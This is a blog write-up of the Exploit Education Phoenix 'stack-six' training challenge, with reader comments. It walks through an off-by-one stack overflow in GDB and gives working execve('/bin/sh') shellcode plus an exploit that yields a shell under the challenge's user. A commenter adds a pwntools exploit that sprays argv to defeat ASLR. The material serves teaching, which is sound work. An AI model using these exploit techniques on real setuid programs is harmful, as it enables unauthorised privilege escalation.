Stack Six
The description and source code can be found here:
http://exploit.education/phoenix/stack-six/
Objective
The comments of the source code gives us the objective: Can you execve(“/bin/sh”, …) ?
Also, the first sentence on the page asks, “Where does Stack Six go wrong, and what can you do with it?”
Source Code Analysis
Let’s have a look at main() first (I’ve left out the #ifdef since it’s not relevant here):
#define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int main(int argc, char **argv) { char *ptr; printf("%s\n", BANNER); ptr = getenv("ExploitEducation"); if (NULL == ptr) { errx(1, "Please specify an environment variable called ExploitEducation"); } printf("%s\n", greet(ptr)); return 0; }
It starts by printing a banner and getting the ExploitEducation environment variable. It then calls the greet() function, passing a pointer to the string stored in ExploitEducation and prints the return result. No obvious bugs there. Let’s take a look at greet():
char *what = GREET; char *greet(char *who) { char buffer[128]; int maxSize; maxSize = strlen(who); if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) { maxSize = sizeof(buffer) - 1; } strcpy(buffer, what); strncpy(buffer + strlen(buffer), who, maxSize); return strdup(buffer); }
As stated on the page, “The macro GREET is architecture dependent.” In this case, GREET is defined as “Welcome, I am pleased to meet you “, which is exactly 34 bytes long (including the space & not including the quotes). You can see that the function accepts a pointer to the string value of the ExploitEducation variable, saved as who. It reserves some space for the buffer (128 bytes) & maxSize variables. It then stores the length of the who (ExploitEducation) variable in the maxSize integer. A conditional checks to see if that size is greater than 127. If so, it adjusts the maxSize variable to 127. This, in conjunction with the strncpy() function later on, must be the programmer’s attempt at preventing a buffer overflow attack. The strcpy() function copies the GREET message (34 bytes long) into the beginning of the buffer array.
Here’s the interesting part. The strncpy() function copies the value of the who (ExploitEducation) variable into the buffer variable, starting after the GREET message. The function limits the number of bytes copied by maxSize (127 bytes), which WOULD limit the input to the size of the buffer variable, if it wasn’t accounting for the GREET message (34 bytes). However, as it is, this lets us put a total of 161 bytes (34 from the GREET message + 127 from the ExploitEducation environment variable) into the buffer variable that had 128 bytes allocated to it on the stack. Were I the programmer, I would have written the conditional that adjusts the maxSize variable like so:
if (maxSize > (sizeof(buffer) - strlen(what) - /* ensure null termination */ 1)) { maxSize = sizeof(buffer) - strlen(what) - 1; }
Stack Smashing
Let’s have a look at the program in GDB to see what we can overwrite on the stack. First, I’ll set the ExploitEducation environment variable to be a length of 127 characters (no need to use more than that as they’ll just get cut off anyway). Then, in GDB, I’ll set a breakpoint in the greet() function right before the call to strncpy() so I can see the stack frame right before & right after.
user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "A"*127') user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-six GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done. gef> disas greet Dump of assembler code for function greet: 0x00000000004006fd <+0>: push rbp 0x00000000004006fe <+1>: mov rbp,rsp 0x0000000000400701 <+4>: push rbx 0x0000000000400702 <+5>: sub rsp,0xa8 0x0000000000400709 <+12>: mov QWORD PTR [rbp-0xa8],rdi 0x0000000000400710 <+19>: mov rax,QWORD PTR [rbp-0xa8] 0x0000000000400717 <+26>: mov rdi,rax 0x000000000040071a <+29>: call 0x400580 <strlen@plt> 0x000000000040071f <+34>: mov DWORD PTR [rbp-0x14],eax 0x0000000000400722 <+37>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000400725 <+40>: cmp eax,0x7f 0x0000000000400728 <+43>: jbe 0x400731 <greet+52> 0x000000000040072a <+45>: mov DWORD PTR [rbp-0x14],0x7f 0x0000000000400731 <+52>: mov rdx,QWORD PTR [rip+0x200458] # 0x600b90 <what> 0x0000000000400738 <+59>: lea rax,[rbp-0xa0] 0x000000000040073f <+66>: mov rsi,rdx 0x0000000000400742 <+69>: mov rdi,rax 0x0000000000400745 <+72>: call 0x400510 <strcpy@plt> 0x000000000040074a <+77>: mov eax,DWORD PTR [rbp-0x14] 0x000000000040074d <+80>: movsxd rbx,eax 0x0000000000400750 <+83>: lea rax,[rbp-0xa0] 0x0000000000400757 <+90>: mov rdi,rax 0x000000000040075a <+93>: call 0x400580 <strlen@plt> 0x000000000040075f <+98>: mov rdx,rax 0x0000000000400762 <+101>: lea rax,[rbp-0xa0] 0x0000000000400769 <+108>: lea rcx,[rax+rdx*1] 0x000000000040076d <+112>: mov rax,QWORD PTR [rbp-0xa8] 0x0000000000400774 <+119>: mov rdx,rbx 0x0000000000400777 <+122>: mov rsi,rax 0x000000000040077a <+125>: mov rdi,rcx 0x000000000040077d <+128>: call 0x400550 <strncpy@plt> 0x0000000000400782 <+133>: lea rax,[rbp-0xa0] 0x0000000000400789 <+140>: mov rdi,rax 0x000000000040078c <+143>: call 0x400560 <strdup@plt> 0x0000000000400791 <+148>: add rsp,0xa8 0x0000000000400798 <+155>: pop rbx 0x0000000000400799 <+156>: pop rbp 0x000000000040079a <+157>: ret End of assembler dump. gef> b *greet+128 Breakpoint 1 at 0x40077d gef> run Starting program: /opt/phoenix/amd64/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Breakpoint 1, 0x000000000040077d in greet ()
Now we can examine the stack before and after the overflow. In order to make sure I see the whole stack and not too much beyond it, I’ll do some math. I’ll subtract the location of the saved return pointer from the contents of the RSP register to get the number of bytes:
gef> info frame Stack level 0, frame at 0x7fffffffe5a0: rip = 0x40077d in greet; saved rip = 0x4007e9 called by frame at 0x7fffffffe5d0 Arglist at 0x7fffffffe590, args: Locals at 0x7fffffffe590, Previous frame's sp is 0x7fffffffe5a0 Saved registers: rbx at 0x7fffffffe588, rbp at 0x7fffffffe590, rip at 0x7fffffffe598 gef> p $sp $1 = (void *) 0x7fffffffe4e0 gef> p/d 0x7fffffffe598 - 0x7fffffffe4e0 $2 = 184
Make note that the return base pointer is at 0x7fffffffe590. A “giant word” in GDB is 8 bytes. So examining 24 giant words starting at RSP should cover the whole stack. When looking at the stack, I like to match the unit (word vs giant word) with the CPU architecture as it makes memory addresses a bit easier to read.
gef> x/24xg 0x7fffffffe4e0 0x7fffffffe4e0: 0x00007ffff7ffc948 0x00007fffffffef10 0x7fffffffe4f0: 0x2c656d6f636c6557 0x6c70206d61204920 0x7fffffffe500: 0x6f74206465736165 0x6f79207465656d20 0x7fffffffe510: 0x0000000000002075 0x0000000000400878 0x7fffffffe520: 0x000000000040079b 0x0000000000000000 0x7fffffffe530: 0x0000000000000000 0x00007ffff7db6dde 0x7fffffffe540: 0x000000000040079b 0x0000000000a6002f 0x7fffffffe550: 0x0000000000000000 0x00007ffff7db6b1e 0x7fffffffe560: 0x00007ffff7ffb300 0x0a00000000000000 0x7fffffffe570: 0x00007fffffffe618 0x0000007ff7d8fe8f 0x7fffffffe580: 0x00007fffffffe618 0x00007fffffffe618 0x7fffffffe590: 0x00007fffffffe5c0 0x00000000004007e9 gef> x/s 0x7fffffffe4f0 0x7fffffffe4f0: "Welcome, I am pleased to meet you " gef> next 0x0000000000400782 in greet () [... GEF output snipped ...] gef> x/24xg 0x7fffffffe4e0 0x7fffffffe4e0: 0x00007ffff7ffc948 0x00007fffffffef10 0x7fffffffe4f0: 0x2c656d6f636c6557 0x6c70206d61204920 0x7fffffffe500: 0x6f74206465736165 0x6f79207465656d20 0x7fffffffe510: 0x4141414141412075 0x4141414141414141 0x7fffffffe520: 0x4141414141414141 0x4141414141414141 0x7fffffffe530: 0x4141414141414141 0x4141414141414141 0x7fffffffe540: 0x4141414141414141 0x4141414141414141 0x7fffffffe550: 0x4141414141414141 0x4141414141414141 0x7fffffffe560: 0x4141414141414141 0x4141414141414141 0x7fffffffe570: 0x4141414141414141 0x4141414141414141 0x7fffffffe580: 0x4141414141414141 0x4141414141414141 0x7fffffffe590: 0x00007fffffffe541 0x00000000004007e9
We can see the start of the buffer variable is at 0x7fffffffe4f0. After the call to strncpy(), you can see that one of the A’s overwrote the LSB (least significant byte) of the saved base pointer at 0x7fffffffe590. This could be considered an off-by-one vulnerability. In a normal off-by-one vulnerability, you’d change the saved base pointer to point it higher in the stack (lower address) to some location where the attacker can control the contents. Then we might be able to control the flow of execution after the program hits the “ret” instruction in the main() function. However, as you’ll see later, we have to be a bit more creative here.
Understanding the Vulnerability
Let’s look at some of the assembly to see how this works. First, I’ll look at the end of the greet() function:
0x0000000000400791 <+148>: add rsp,0xa8 0x0000000000400798 <+155>: pop rbx 0x0000000000400799 <+156>: pop rbp 0x000000000040079a <+157>: ret
First, 168 bytes (0xa8) are added to RSP to undo the space reservation that happened at the beginning of the function. And since the function modifies the RBX register, it saved that value after the function prologue with a push rbx. Here, it simply undoes that with a pop rbx. Of course, this is overwritten with our buffer overflow, but that doesn’t really matter. Next, the saved base pointer value is restored into RBP with the pop rbp instruction. Finally, it hits the ret instruction, which is essentially just a pop rip instruction. So the value at RSP gets restored to the RIP register. So as you can see, overwriting the saved base point has no impact yet.
Let’s take a look at the end of the main() function:
0x00000000004007e4 <+73>: call 0x4006fd <greet> 0x00000000004007e9 <+78>: mov rdi,rax 0x00000000004007ec <+81>: call 0x400530 <puts@plt> 0x00000000004007f1 <+86>: mov eax,0x0 0x00000000004007f6 <+91>: leave 0x00000000004007f7 <+92>: ret
The call to greet() leaves a return value in RAX, which is then moved to RDI as an argument to the puts() function. That prints the entire greeting. Next, EAX is zeroed out to give the program a 0 exit value. The leave, not seen in greet(), is normally the second-to-last instruction of a function. It’s essentially the same as a move rsp,rbp instruction. It brings the stack pointer register back to the same location as the base pointer register so as to free up the current stack frame. And, again, ret just performs a pop rip instruction.
The leave and ret instructions at the end of the main() function are critical here. If we overwrite the LSB of the saved base pointer on the stack, we can make it point to anywhere in memory between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). Wherever RBP is pointing to is where RSP will end up and 8 bytes less than that is what will be restored into RIP after the ret instruction. The reason we can’t set the saved base pointer to 0x7fffffffe500 is because we’re unable to include null bytes (0x00) in our environment variable. This is important as it forces us to use a pointer already on the stack to restore into RIP. We can’t save a custom pointer within the buffer variable because all pointers start with at least 2 null bytes.
Exploitation
We can use GDB to find a pointer on the stack that points to user-controlled data. However, if we’re going to write an exploit that will work outside of GDB, we need to change a few environment variables. Let’s compare the environment variables in & out of GDB:
user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "A"*127') user@phoenix-amd64:~$ env LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36: SSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22 USER=user PWD=/home/user HOME=/home/user SSH_CLIENT=10.0.2.2 35810 22 SSH_TTY=/dev/pts/1 MAIL=/var/mail/user TERM=xterm-256color SHELL=/bin/bash SHLVL=1 ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LOGNAME=user PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games _=/usr/bin/env user@phoenix-amd64:~$ gdb -q /opt/phoenix/amd64/stack-six GEF for linux ready, type `gef' to start, `gef config' to configure 71 commands loaded for GDB 8.2.1 using Python engine 3.5 [*] 2 commands could not be loaded, run `gef missing` to know why. Reading symbols from /opt/phoenix/amd64/stack-six...(no debugging symbols found)...done. gef> show env LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36: SSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22 USER=user PWD=/home/user HOME=/home/user SSH_CLIENT=10.0.2.2 35810 22 SSH_TTY=/dev/pts/1 MAIL=/var/mail/user TERM=xterm-256color SHELL=/bin/bash SHLVL=1 ExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LOGNAME=user PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games _=/usr/local/bin/gdb LINES=47 COLUMNS=166
There are 3 differences. First, GDB adds 2 environment variables, LINES & COLUMNS. Second, the underscore “_” variable should be set to the name of the currently running program. However, when debugging stack-six, you’ll notice that the underscore is set to the path to the GDB executable, not /opt/phoenix/amd64/stack-six. These will all change the addresses of our environment variables and everything else on the stack. To fix it, simply run the following 3 commands within GDB or put them in the ~/.gdbinit file:
unset env LINES unset env COLUMNS set env _ /opt/phoenix/amd64/stack-six
With that setup, let’s look at the stack for a pointer to user-controlled data. I know that I can control environment variables. So let’s look for a pointer there. First, I’ll need to get the addresses of the environment variables. I can use some of the output from GEF for this:
gef> b *main Breakpoint 1 at 0x40079b gef> run Starting program: /opt/phoenix/amd64/stack-six Breakpoint 1, 0x000000000040079b in main () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x00007fffffffe638 → 0x00007fffffffe829 → "/opt/phoenix/amd64/stack-six" [... GEF output snipped ...] gef> x/20s 0x00007fffffffe829 0x7fffffffe829: "/opt/phoenix/amd64/stack-six" 0x7fffffffe846: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:" 0x7fffffffee02: "SSH_CONNECTION=10.0.2.2 55068 10.0.2.15 22" 0x7fffffffee2d: "_=/opt/phoenix/amd64/stack-six" 0x7fffffffee4c: "OLDPWD=/opt/phoenix/amd64" 0x7fffffffee66: "USER=user" 0x7fffffffee70: "PWD=/home/user" 0x7fffffffee7f: "HOME=/home/user" 0x7fffffffee8f: "SSH_CLIENT=10.0.2.2 55068 22" 0x7fffffffeeac: "SSH_TTY=/dev/pts/0" 0x7fffffffeebf: "MAIL=/var/mail/user" 0x7fffffffeed3: "SHELL=/bin/bash" 0x7fffffffeee3: "TERM=xterm-256color" 0x7fffffffeef7: "SHLVL=1" 0x7fffffffeeff: "ExploitEducation=H1\322H\273//bin/shH\301\353\bSH\211\347PWH\211\346\260;\017\005", 'A' <repeats 96 times>, "\320" 0x7fffffffef90: "LOGNAME=user" 0x7fffffffef9d: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" 0x7fffffffefdb: "/opt/phoenix/amd64/stack-six" 0x7fffffffeff8: "" 0x7fffffffeff9: ""
I set a breakpoint at the start of main() and ran the program to get the stack started. I found an address to the beginning of all the environment variables and examined the next 20 strings after that.
Note that I also have the OLDPWD environment variable. That’s because I had previously changed to the /opt/phoenix/amd64 directory and back to home (~). If you have not done this, then your stack addresses will differ slightly.
Next, I want to see the value of the saved base pointer in the greet() function, so I set a breakpoint in there right after RBP is pushed onto the stack:
gef> b *greet+1 Breakpoint 2 at 0x4006fe gef> c Continuing. Welcome to phoenix/stack-six, brought to you by https://exploit.education Breakpoint 2, 0x00000000004006fe in greet () [... GEF output snipped ...] gef> info frame Stack level 0, frame at 0x7fffffffe5c0: rip = 0x4006fe in greet; saved rip = 0x4007e9 called by frame at 0x7fffffffe5f0 Arglist at 0x7fffffffe5b0, args: Locals at 0x7fffffffe5b0, Previous frame's sp is 0x7fffffffe5c0 Saved registers: rbp at 0x7fffffffe5b0, rip at 0x7fffffffe5b8 gef> x/1xg 0x7fffffffe5b0 0x7fffffffe5b0: 0x00007fffffffe5e0
So, just like before, we’ve confirmed that we can set RBP to any address between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). The only difference this time is that we know that the addresses in GDB will be the same as while running the binary directly.
Now I’m going to use a GEF command to get a nice, pretty, view of that memory region and jump to the ret instruction in main() so that I know which pointers I have to choose from for putting into RIP:
gef> memory watch 0x00007fffffffe500 32 qword [+] Adding memwatch to 0x7fffffffe500 gef> b *main+92 Breakpoint 3 at 0x4007f7 gef> c Continuing. Welcome, I am pleased to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���� Breakpoint 3, 0x00000000004007f7 in main () [... GEF output snipped ...] ───────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4007ec <main+81> call 0x400530 <puts@plt> 0x4007f1 <main+86> mov eax, 0x0 0x4007f6 <main+91> leave → 0x4007f7 <main+92> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────── memory:0x7fffffffe500 ──── 0x00007fffffffe500│+0x0000 0x00007ffff7ffc948 0x00007fffffffe508│+0x0008 0x00000000000000a6 0x00007fffffffe510│+0x0010 0x0000000000000001 0x00007fffffffe518│+0x0018 0x00007ffff7db6d0f 0x00007fffffffe520│+0x0020 0x00007ffff7ffc948 0x00007fffffffe528│+0x0028 0x00000000000000a6 0x00007fffffffe530│+0x0030 0x00007fffffffe58f 0x00007fffffffe538│+0x0038 0x0000000000000001 0x00007fffffffe540│+0x0040 0x4141414141414141 0x00007fffffffe548│+0x0048 0x00007ffff7ffb300 0x00007fffffffe550│+0x0050 0x0000000000000000 0x00007fffffffe558│+0x0058 0x0000000000600c00 0x00007fffffffe560│+0x0060 0x000000000040079b 0x00007fffffffe568│+0x0068 0x0000000000000000 0x00007fffffffe570│+0x0070 0x0000000000000000 0x00007fffffffe578│+0x0078 0x00007ffff7db6b1e 0x00007fffffffe580│+0x0080 0x00007ffff7ffb300 0x00007fffffffe588│+0x0088 0x0a00000000000000 0x00007fffffffe590│+0x0090 0x00007ffff7ffb300 0x00007fffffffe598│+0x0098 0x00007ffff7db9934 0x00007fffffffe5a0│+0x00a0 0x4141414141414141 0x00007fffffffe5a8│+0x00a8 0x00007fffffffe541 0x00007fffffffe5b0│+0x00b0 0x00007fffffffe648 0x00007fffffffe5b8│+0x00b8 0x00000000004007f1 0x00007fffffffe5c0│+0x00c0 0x00007fffffffe638 0x00007fffffffe5c8│+0x00c8 0x00000001ffffe648 0x00007fffffffe5d0│+0x00d0 0x000000000040079b 0x00007fffffffe5d8│+0x00d8 0x00007fffffffef10 0x00007fffffffe5e0│+0x00e0 0x0000000000000001 0x00007fffffffe5e8│+0x00e8 0x00007ffff7d8fd62 0x00007fffffffe5f0│+0x00f0 0x0000000000000000 0x00007fffffffe5f8│+0x00f8 0x00007fffffffe630 ───────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "stack-six", stopped, reason: BREAKPOINT ─────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x4007f7 → main() ────────────────────────────────────────────────────────────────────────────────────────── gef> x/s 0x00007fffffffef10 0x7fffffffef10: 'A' <repeats 127 times>
Here, we can easily scan the memory for a pointer to use. I’m looking for something pointing to the environment variables, so between 0x7fffffffe86a and 0x7fffffffeff8. I’ve highlighted one that looks promising. My ExploitEducation variable starts at 0x7fffffffeeff, so I examined the string there. Lo & behold, it points right to the start of the content of the variable! This couldn’t be a better location. Next, I’ll set the ExploitEducation variable again, but with shellcode at the beginning. The shellcode I got from http://shell-storm.org/shellcode/files/shellcode-603.php. And we’ll need to set the saved base pointer to 0x00007fffffffe5d0.
user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "A"*96 + "\xd0"') user@phoenix-amd64:~$ /opt/phoenix/amd64/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Welcome, I am pleased to meet you H1�H�//bin/shH�SH��PWH���;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����� $ id uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-amd64-stack-six) groups=406(phoenix-amd64-stack-six),27(sudo),1000(user)
Great success!.
Hello there, I have recently started exploit education without zero knowledge in reverse engineering , after searching for help in Google for a reference which could help me to solve the Phoenix challenge , found this blog (^^).
This blog is awesome and is really helpful and understands for me .
In this level which is stack-six I got into a problem that I see u don’t have it , may be they have updated the challenge the error I am getting here is
stack-six: Please specify an environment variable called ExploitEducation. So this is my blockage how to give a variable to the run after adding the break in greet function.
I have tried :
run <<< ExploitEducation = $(python -c 'print "A"*4')
and shows error /bin/bash :warning: here-document at line 0 delimited by end-of-file (wanted 'ExploitEduction')
How to over come this.
Thank you in advance ^_^.
-a fellow traveler
You might notice that before going into GDB, I run the following command:
This will create the ExploitEducation environment variable. If you’re already in GDB, then you can use the
set environment
command, though this doesn’t work with command substitution. For instance:Hi,
I’m trying out this solution on Ubuntu 18.04. But `$rsp` at `ret` in `main` keeps shifting.
Meaning even if I overwrite the LSB of base pointer with same data everytime, `$rsp` doesn’t always point to beginning of the value of `ExploitEducation` environment variable.
Also, env variable are comparatively more keys. I don’t think it should effect.
Have you seen this behaviour?
First, do you have ASLR disabled? If not, see: https://askubuntu.com/a/318476.
Second, the environment variables will differ between running the program in GDB vs running it natively. See what I have to say the Exploitation section. This will have an impact on your results. You’ll want to make sure the environment variables in GDB match your regular running environment.
Even within gdb, when ASLR is off, I can see the $rsp value varying wrt to beginning of env variable.
I have managed to get the Environment variable in and outside gdb. I was having more envs because I was working on shell and yours seem to be a ssh session.
Yes, I prefer to SSH to the Phoenix VM instead of working through the console.
Hi,
Disabling ASLR did the job.
Thanks
Hey, I found this article so much easy to understand!
Although this is a tough task with me but with your clear explanation, I could understand and try to do it again myself.
If there is star rating, I would vote 5 star for this post.
Thanks again!
Thank you! I do appreciate it.
Hi i don’t understand why in the payload you use “A”*96 why you use 96?
The total number of bytes for that environment variable is 127. Any more than that and it just gets cut off. I use “A”*96 as a buffer to bring the total up to 96.
Hi. I have a solution for this challenge that works even if ASLR is on. The idea is that to spray the stack with argv params.
Consider we pass 32 shellcode bytes in argv. So we should have 32 pointers on the stack, each pointing to one of these parameters. If we take a look at the stack we will find out that these pointers are close to the overwrited rbp (say for example 40 bytes after it). By doing so we just need to change LSB of rbp to a big value (say 0xf0) to higher the saved base pointer. By doing so, rbp will point to the region of mentioned 32 pointers to shellcodes. So after a ret, we will jump to one of our shellcodes.
This is my exploit:
from pwn import *
context.arch = “amd64″
shellcode = b”\x90″ * 20 + b”\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05″ + b”\x90″*17
assert(len(shellcode) == 64)
proc_args = [shellcode] * 32
remote = ssh(user=”user”, host=”localhost”, port=2222, password=”user”)
proc = remote.process([b”/opt/phoenix/amd64/stack-six”, *proc_args], env={b”ExploitEducation”: b”A”*126 + b”\xf0″})
proc.interactive()